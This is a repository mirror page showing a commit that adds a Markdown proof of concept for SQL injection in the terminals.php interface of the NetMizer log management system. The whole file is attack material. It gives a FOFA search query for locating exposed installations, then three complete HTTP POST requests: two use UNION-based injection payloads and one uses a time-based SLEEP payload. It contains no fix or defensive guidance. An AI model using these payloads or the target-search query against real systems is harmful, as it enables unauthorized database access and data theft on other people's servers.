admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-06-20 09:51:11 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create NetMizer日志管理系统terminals接口存在SQL注入.md

Browse Source
This commit is contained in:
Rainyseason 2025-06-11 15:19:30 +08:00 committed by GitHub
parent 6598debae0
commit e6f3e6d1f6
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 52 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

52
wpoc/NetMizer/NetMizer日志管理系统terminals接口存在SQL注入.md Normal file
View File

@ -0,0 +1,52 @@
# NetMizer日志管理系统terminals接口存在SQL注入
# fofa
```
title="NetMizer 日志管理系统"
```
# poc
```javascript
POST /data/echart/terminals.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Priority: u=0
Content-Length: 40
action=phonelist-pie&type=3&device=1 UNION ALL SELECT NULL,CONCAT(0x71716a7a71,0x4b486d79695241494a69717451667a6d67487761764e72775a7066514176484f5a47697455596141,0x71766a7171),NULL-- -
```
```javascript
POST /data/echart/terminals.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Priority: u=0
Content-Length: 40
action=phonelist-grid&type=3&device=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x546d5a417a6972554767676547636c6f794e4e6d464c4e484e49626b6d4c6b4244615a4f67646758,0x717a7a7171),NULL,NULL-- -
```
```javascript
POST /data/echart/terminals.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Priority: u=0
Content-Length: 40
action=phonelist-bar&type=3&device=1 AND (SELECT 6478 FROM (SELECT(SLEEP(5)))hviO)
```